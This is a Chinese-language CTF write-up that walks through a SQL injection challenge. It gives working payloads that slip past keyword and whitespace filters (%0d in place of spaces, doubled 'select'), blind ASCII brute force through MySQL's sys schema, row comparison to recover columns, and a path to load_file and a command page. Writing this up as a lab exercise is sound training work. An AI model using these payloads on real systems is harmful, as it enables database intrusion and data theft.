一、進入頁面,F12發現提示
二、進行傳參測試,1,2,3頁面返回正常,其它返回error,考慮是否存在sql注入
三、進行sql手工注入,發現存在字符型sql注入漏洞
payload:?id=0'||1=1%23
繼續測試發現有以下幾個問題
1、以下字符被攔截,頁面返回die!!
or
空格,%0a,%20,%09,%0a,%0b,%0c,%a0,/*,
2、過濾了select,頁面不返回die!!
3、load_file函數可用
四、嘗試使用load_file讀取flag文件,由於不知道絕對路徑和flag文件的文件名暫時擱置
五、嘗試解決sql注入關鍵字被過濾的問題
1、空格可替換的字符被過濾的有點多,但%0d沒被過濾,可用%0d替換空格
2、由於select只過濾一次,所以select可用寫成selselectct來繞過
六、解決字符 'or' 被攔截的問題
由於字符 'or' 被攔截,所以通過information_schema數據庫來爆破庫、表、列、數據的可能性幾乎沒有。所以我們需要考慮一種不需要使用字符 'or' 的注入思路
1、發現數據庫版本為5.7.33,所以存在sys數據庫。
payload:?id=0%27||ascii(%27§A§%27)=ascii(substr((§a§),§1§,1))%23
2、利用sys數據庫爆出當前數據庫下的表,從而繞過字符 'or' 的使用。
查表語句:
select group_concat(table_name) from sys.x$schema_table_statistics where table_schema=database()
利用intruder模塊爆破
payload:/?id=0'||ascii('§a§')=ascii(substr((seselectlect%0dgroup_concat(table_name)%0dfrom%0dsys.x$schema_table_statistics%0dwhere%0dtable_schema=database()),§1§,1))%23
得到兩個表
easyweb,iscc_flag
毫無疑問,我們要的東西在iscc_flag這個表中,但是我們不知道列名該怎么辦呢?
3、有這么一個trick
我舉幾個例子簡單解釋一下
1) >、<、=判斷
select * from test
select(select 1,'flag')=(select * from test)
select(select 1,'elag')<(select * from test)
2) 列的數量判斷
當列的個數不匹配時,數據庫會報錯,頁面會返回error
payload:?id=0'||(selselectect(selselectect%0d0)<(seselectlect%0d*%0dfrom%0discc_flag%0dlimit%0d0,1))%23
payload:?id=0'||(selselectect(selselectect%0d0,0)<(seselectlect%0d*%0dfrom%0discc_flag%0dlimit%0d0,1))%23
這樣,我們知道了iscc_flag表有兩列。
然后用上面的方式,爆出這兩列的數據,最后得到了這樣一個
payload:/?id=0'||(seselectlect(selselectect%0d'1',char(67,67,67,77,68,46,80,72,80))=(seselectlect%0d*%0dfrom%0discc_flag%0dlimit%0d0,1))%23
我們得到了這兩列的數據為:1,cccmd.php
可以看出,表中的cccmd.php是php頁面
4、我們來到cccmd.php頁面
分析發現可以執行pwd,得到當前絕對路徑為:/var/www/const
5、還記得我們之前擱置的load_file函數嗎,我們現在可以利用它讀取flag頁面源碼了。